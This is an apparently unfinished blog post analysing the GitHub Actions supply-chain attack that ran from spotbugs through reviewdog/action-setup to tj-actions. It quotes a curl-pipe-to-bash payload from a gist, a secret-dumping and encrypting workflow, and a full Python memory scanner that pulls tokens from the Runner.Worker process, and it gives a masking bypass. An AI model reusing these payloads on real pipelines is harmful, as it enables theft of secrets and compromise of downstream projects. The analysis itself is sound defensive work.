12 minute read

  • Workflow consist of actions
    • Have triggers
    • Actions have inputs and outputs
    • There are secrets
  • Further step by step technical analysis of cve-2025-30066
    • Filling in the blanks

Main resources

Add overview image here

Spotbugs/sonar-findbugs

On December 5th, the malicious user randolzfow created a malicious Pull Request — also called pwn request — to merge his fork into https://github.com/spotbugs/sonar-findbugs. According to the OWASP Top 10 CI/CD Security Risks, the attacker conducted an indirect Public Poisoned Pipeline Execution attack where untrusted code was indirectly executed via maven.

At the time of the introduction of the vulnerable workflow, there were $4$ workflows. Two of them had the pull_request_target trigger which was the main workflow misconfiguration. However, only the workflow sonarqube.yml below was vulnerable and resulted into insufficient checks and access to secrets:

on:
  push:
    branches:
      - master
      - sq-10
    paths-ignore:
      - '.github/actions/**'
  pull_request_target:
    branches:
      - master
    paths-ignore:
      - '.github/actions/**'
  release:
    types:
      - created

# set necessary permissions for SQ's GitHub integration
# https://docs.sonarqube.org/latest/analysis/github-integration/#header-2
permissions:
  checks: write
  contents: read
  pull-requests: write
  statuses: read

jobs:
  build:
    # Forked repos do not have access to the Sonar account
    if: github.repository == 'spotbugs/sonar-findbugs'
    runs-on: ubuntu-latest
    env:
      # previous LTS version
      SONAR_SERVER_VERSION: 9.9.7.96285 
      SONAR_PLUGIN_API_VERSION: 9.17.0.587
      SONAR_TOKEN: $SONAR_TOKEN
    steps:
      - name: Decide the ref to check out
        uses: haya14busa/action-cond@v1
        id: condval
        with:
          cond: $
          if_true: refs/pull/$/merge
          if_false: $
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
          ref: $
      - name: Set up JDK 17
        uses: actions/setup-java@v4
        with:
          java-version: 17
          distribution: temurin
          cache: 'maven'
      - name: Cache SonarCloud packages
        uses: actions/cache@v4
        with:
          path: |
            ~/.sonar/cache
          key: $-sonar
          restore-keys: $-sonar
      - name: Build
        run: |
          ./mvnw org.jacoco:jacoco-maven-plugin:prepare-agent verify sonar:sonar -B -e -V -DskipITs \
            -Dsonar.server.version=$ \
            -Dsonar-plugin-api.version=$ \
            -Dsonar.projectKey=com.github.spotbugs:sonar-findbugs-plugin \
            -Dsonar.organization=spotbugs \
            -Dsonar.host.url=https://sonarcloud.io \
            ${PR_NUMBER:+ -Dsonar.pullrequest.key=$PR_NUMBER -Dsonar.pullrequest.branch=$PR_BRANCH }
        env:
          GITHUB_TOKEN: $
          SONAR_TOKEN: $
          PR_NUMBER: $
          PR_BRANCH: $
          CI: true

On the first sight, this seems secure as the comment for the build stage says Forked repos do not have access to the Sonar account. The job condition if: github.repository == 'spotbugs/sonar-findbugs' should fail when this workflow executes within a fork as the github.repository should be different - shouldn’t it?

Forks are unique to GitHub that allow users to virtually copy repositories into their user account for various reasons. If a user it not a collaborator for an organization/repository (which requires an invitation), the only way to contribute is to fork and then create a pull request from the fork to the base repository. Implementation wise, forks are inside the base repositories’ network such that all commits we do in that fork are in that network. On the contrary, this has security implications as deleted forks commits are still visible in the base repository network. This basically explains why we can still access the malicious commit even though the fork and user have been deleted.

That already explains why the check for github.repository fails — it always returns the name of the base repository — as the pull request runs in base repository’s context. However, maintainers can restrict automatic workflow runs from fork pull requests by either requiring approval for external contributors or for first time contributors. To gain such status for the latter, which is the default nowadays, it is enough to play grammar police.

In this workflow case, the approval rules don’t come into play due to the special event trigger pull_request_target. It has the following enhances capabilities compared to the trigger pull_request:

A study from 2022 highlights that this trigger is present in $3.5\%$ of repositories. The number seems low at first sight, but needs to be put into relation with the number of repositories potentially affected due to, e.g. action dependency, like reviewdog.

The final straw here is the step named Decide the ref to check out as it checks out the fork pull request. Therefore, the malicious code from the pull request runs in the context of spotbugs/sonar-findbugs and has access to its secrets. Now, we strive to understand how the attackers choose their payload inside the malicious pull request to change the bash file mvnw:

#   MAVEN_SKIP_RC - flag to disable loading of mavenrc files
# ----------------------------------------------------------------------------

curl -sSfL https://gist.githubusercontent.com/randolzfow/aa451dfb48c3bc982aeeb5163261f2f4/raw/4171c8ee0e3ca53d249ff340da772d63567fb58e/run.sh | bash > /dev/null 2>&1

if [ -z "$MAVEN_SKIP_RC" ]; then

  if [ -f /usr/local/etc/mavenrc ]; then

I was not able to find any archived version of the gist, but I suspect that it simply reads all the secrets and then sends it to a control and command server. I will cover what secrets are available in the next section. The attackers changed the bash file mvnw because the vulnerable workflow point to it to build the project. GitHub disallow automatic runs of newly introduced workflows in a pull request which explains why the attackers chose this indirection.

The table below shows the timeline. We see that the attacker abused the vulnerable workflow within a week while the workflow stayed vulnerable for roughly 5 months:

Commit Message Commit Hash Date What
Final Fix 6d051a3652f562bd3a6561bca6809146f6041043 Apr 1, 2025, 10:23 PM Remove pull_request_target trigger
(Almost) Final fix ca5dc9db15f6e1124d4eff95e9a1083effd8a828 Apr 1, 2025, 09:52 PM Band-aid to restrict to certain author_association or internal membership
Revert secret usage e9004f4c26061d2be872e30e1ffa7d33e754cf85 Mar 25, 2025, 05:56 PM Revert to ` GITHUB_TOKEN: $`
Malicious Commit d7804f6816ff9058dcc867c3d5ff57ae70fd3c48 Dec 5, 2024, 09:38 PM Execute payload
Vulnerability introduction b45e68465db951b4c1213e80af4e3187ff84bbe6 Nov 28, 2024, 04:46 AM Use $

Check out the commits via https://github.com/spotbugs/sonar-findbugs/commit/COMMIT-HASH.

TTP

  • 3PPE via malicious pull request that triggered an overprivileged CI workflow.

spotbugs/spotbugs

In the initial exploitation step, the attackers stole secrets. Here, we first discuss what types of secrets are commonly available with GitHub CI. After, we present the escalation step the attacker took to reach the reviewdog repository.

Each workflow run receives a GITHUB_TOKEN which is a unique token for authentication within the workflow. Uses-cases for the token are GitHub specific, e.g. setting a label on a pull request, issuing a comment or creating an artifact. The scope of the token is limited to the current repository. Furthermore, the expiry is either $24$ hours or when the job ends. Each token also has a set of permissions, either in read, read/write or none. One example permissions is repository to read or write files. However, the token is disallowed to modify any files in the .github/workflows directory such that attacker need to modify workflow referenced dependencies in case they obtain a GITHUB_TOKEN. To access the token in the workflow, developers can use $ or the alias $.

GITHUB_TOKEN is limited to the repository the workflow runs it. However, some workflows have cross repository interactions, for example, when they are part of the same organization, like Spotbugs. There are two different ways to allow cross interaction: Personal Access Token (PAT) or the github-app via the action create-github-app-token which takes a APP_ID and the APP_PRIVATE_KEY. PATs are either classic or fine-grained, aka scoped, but user-centric. However, fine-grained tokens do not support all the features a classic token has. GitHub warns that they should be protected as much as a password.

Besides these two specific GitHub tokens, repository may also define secrets in the repository settings as long as they have admin or write access, depending on the secret type. There are environment and repository secrets. The former are scoped to build environments whereas the latter are global across the repository.

All in all, the PAT is needed for cross repository actions. The GITHUB_TOKEN is a workflow token and has less value than.

So, after the attacker likely obtained the PAT of a contributor indicated by secrets.PAT_TO_FORK they added the user jurkaofavak to the Spotbugs organization. They then introduced a malicious workflow in the spotbugs/spotbugs repository because the PAT must has write access:

name: hewrkbwkyk
on:
  push:
    branches: hewrkbwkyk
jobs:
  testing:
    runs-on:
    - ubuntu-latest
    steps:
    - env:
        VALUES: $
      name: Prepare repository
      run: "\ncat <<EOF > output.json\n$VALUES\nEOF\n                    "
    - name: Run Tests
      env:
        PUBKEY: '-----BEGIN PUBLIC KEY-----
          < OMITTED FOR SPACE >
          -----END PUBLIC KEY-----

          '
      run: aes_key=$(openssl rand -hex 12 | tr -d '\n');openssl enc -aes-256-cbc -pbkdf2
        -in output.json -out output_updated.json -pass pass:$aes_key;echo $aes_key
        | openssl rsautl -encrypt -pkcs -pubin -inkey <(echo "$PUBKEY") -out lookup.txt
        2> /dev/null;
    - name: Upload artifacts
      uses: actions/upload-artifact@v4
      with:
        name: files
        path: ' |

          output_updated.json

          lookup.txt'

Basically, the workflow takes all available secrets and encrypts them via in hybrid fashion. Afterwards, the attackers a workflow artifact which they then download. All an attacker had to do was push something to the branch hewrkbwkyk. When we follow the link to the malicious pull request, we see this innocent looking message:

Deleted branch popup in the GitHub UI

The easiest explanation for this message is that the attacker $1)$ created a new branch hewrkbwkyk $2)$ committed the malicious workflow $3)$ pushed to hewrkbwkyk $4)$ retrieved the artifacts $5)$ deleted the branches as possible traces. Committing the malicious workflow already triggered the workflow because the push event fires even when the branch is created In Unit42’s article, they were given access to the activity log to show that hewrkbwkyk was the only branch created. They further notice that the exploitation took one second — hinting automation.

TTP

  • Add malicious workflow via newly added user to dump repository secrets
  • Delete malicious workflows

reviewdog/action-setup

In the next privilege escalation step, the attacker had write access to the reviewdog organization to modify their actions. The organization provides automated code review tools that can be in cooperated via the action-setup action. The secrets they exfiltrated in the spotbugs repository contained a PAT where the owner was part of both organizations. This action is the starting point in the weaponizations as it’s referenced by various repositories.

The attacker introduces malicious code in action-setup and changes references in action-typos to rely on the malicious action-setup. The action-setup action definition will trigger the bash script install.sh. Inside that script, the attacker introduced a memory scanner to search for secrets during CI runs. The script creator notes:

There are rare cases when the GITHUB_TOKEN is not referenced in a workflow and not persisted with a local git config so the above technique does not work. However, the GITHUB_TOKEN is always passed to the Runner.Worker process. So after having an arbitrary code execution one could dump memory of the Runner.Worker process and grep the dump for the GITHUB_TOKEN. See https://gist.github.com/nikitastupin/30e525b776c409e03c2d6f328f254965 for the example script.

Below is the memory scanner which will dump entire memory regions to std.out. The script was slightly obfuscated with base64 in the malicious commit:

#!/usr/bin/env python3

# based on https://davidebove.com/blog/?p=1620

import sys
import os
import re


def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')


if __name__ == "__main__":
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start
            
                try:
                    chunk = mem_f.read(end - start)  # read region contents
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

Interestingly, the attacker had a series of $12$ more modifications to the installation script. It took the attacker $8$ commits to add the missing sudo which the memory scan script requires for accessing /proc/{pid}. The commits after were changed to the sleep amount for the script and echo modifications. The latter had the aim to hide the publicly accessible action output by grouping log lines. For each commit to action-setup, the attacker then changed action-typos to rely on that action version by commit of action-setup. Therefore, the attacker seems to use action-typos as a testing bed. The weaponization begins when the attacker changes the reference of the release tags to the malicious commits.

I created my own repository with a workflow to compare the secret dumping via $ to the memory scanner. Furthermore, I added a test repository secret. I noticed that a simple string transformation, e.g. tr 'g' 'G', is enough to overcome the accidental secret exposure protection:

Secret dumping example via direct access or memory scanning

After the last commit, the attacker modified the tag v1. GitHub support three versioning reference mechanism, either by branch name, by tag or by commit. Koishybayev et. al note that versioning by tag is the most common mechanism. This is still true nowdays, but we see changes towards moving to references by commit. Branches always point to the current head and tags point to its reference commit. Therefore, both are mutable whereas a commit is not mutable. From a security perspective, mutable references to enable supply chain attacks. However, from a developer perspective, mutable references to allow for automatic bug fixes. For action-setup, the attacker changed the tag v1 to point to the malicious commit above and reverted the change 2 hours later.

All in all, this step exploits the dependency chain and spread the vulnerable code. According to Unit 42, there are $3047$ direct and $159986$ three hop dependencies relying on action-setup — spreading like a true worm. Furthermore, they note that the change of the tag reference are not recorded inside the GitHub audit log for GitHub’s free tier. Moreover, a 2023 blog post from paloaltonetworks illustrates the dependency problem in depth.

TTP

  • Weaponization of the action action-setup to distribute a memory scanner for secrets
  • Secret obfuscation via double base64 and log line grouping

tj-actions/eslint-changed-files

While some of actions-setup tags were compromised for a short amount of time, it infected eslint-changed-files. We can see the current action.yml file for that action below.

runs:
  using: 'composite'
  steps:
    - uses: reviewdog/action-setup@e04ffabe3898a0af8d0fb1af00c188831c4b5893 # v1.3.2
      if: inputs.skip_annotations == 'false'
      with:
        reviewdog_version: v0.20.0
    - name: Get changed files
      id: changed-files
      uses: tj-actions/changed-files@ed68ef82c095e0d48ec87eccea555d944a631a4c # v46.0.5

As we know, the malicious version of action-setup contained a memory dump based secret search.

So what don’t I understand:

  1. What is this composite action
  2. So reviewdog infected eslint, how did it infect changed files?

Current data:

  • GitHub Issue, the attacker managed to leak the PAT for tj-actions-bot. The bot managed interactions with contributors on the tj-actions organization.
  • According to discussion on GitHub, the attacker was able to leak a PAT that was stored as a secret.

However, without additional analysis, I am unable to verify how the tj-actions organization was breached.

As a result of the attack, the main owner of tj-actions changed all references to direct by commit references.

https://github.com/tj-actions/changed-files/issues/2464

https://github.com/tj-actions/eslint-changed-files/blob/main/action.yml

https://github.com/tj-actions/changed-files/security/advisories/GHSA-mw4p-6x4p-x5m5

tj-actions/eslint-changed-files

  • The attacker disguised its activity with the renovate bot
  • It’s easy to impersonate users when there are no signed commits

After this, tj-actions/changed-files’s CI workflow was invoked

This workflow uses the tj-actions/eslint-changed-files GitHub action as a pipeline dependency, which in turn depends on and runs the malicious code at reviewdog/action-setup

coinbase/agentkit

#

https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax#permissions

Categories:

Updated: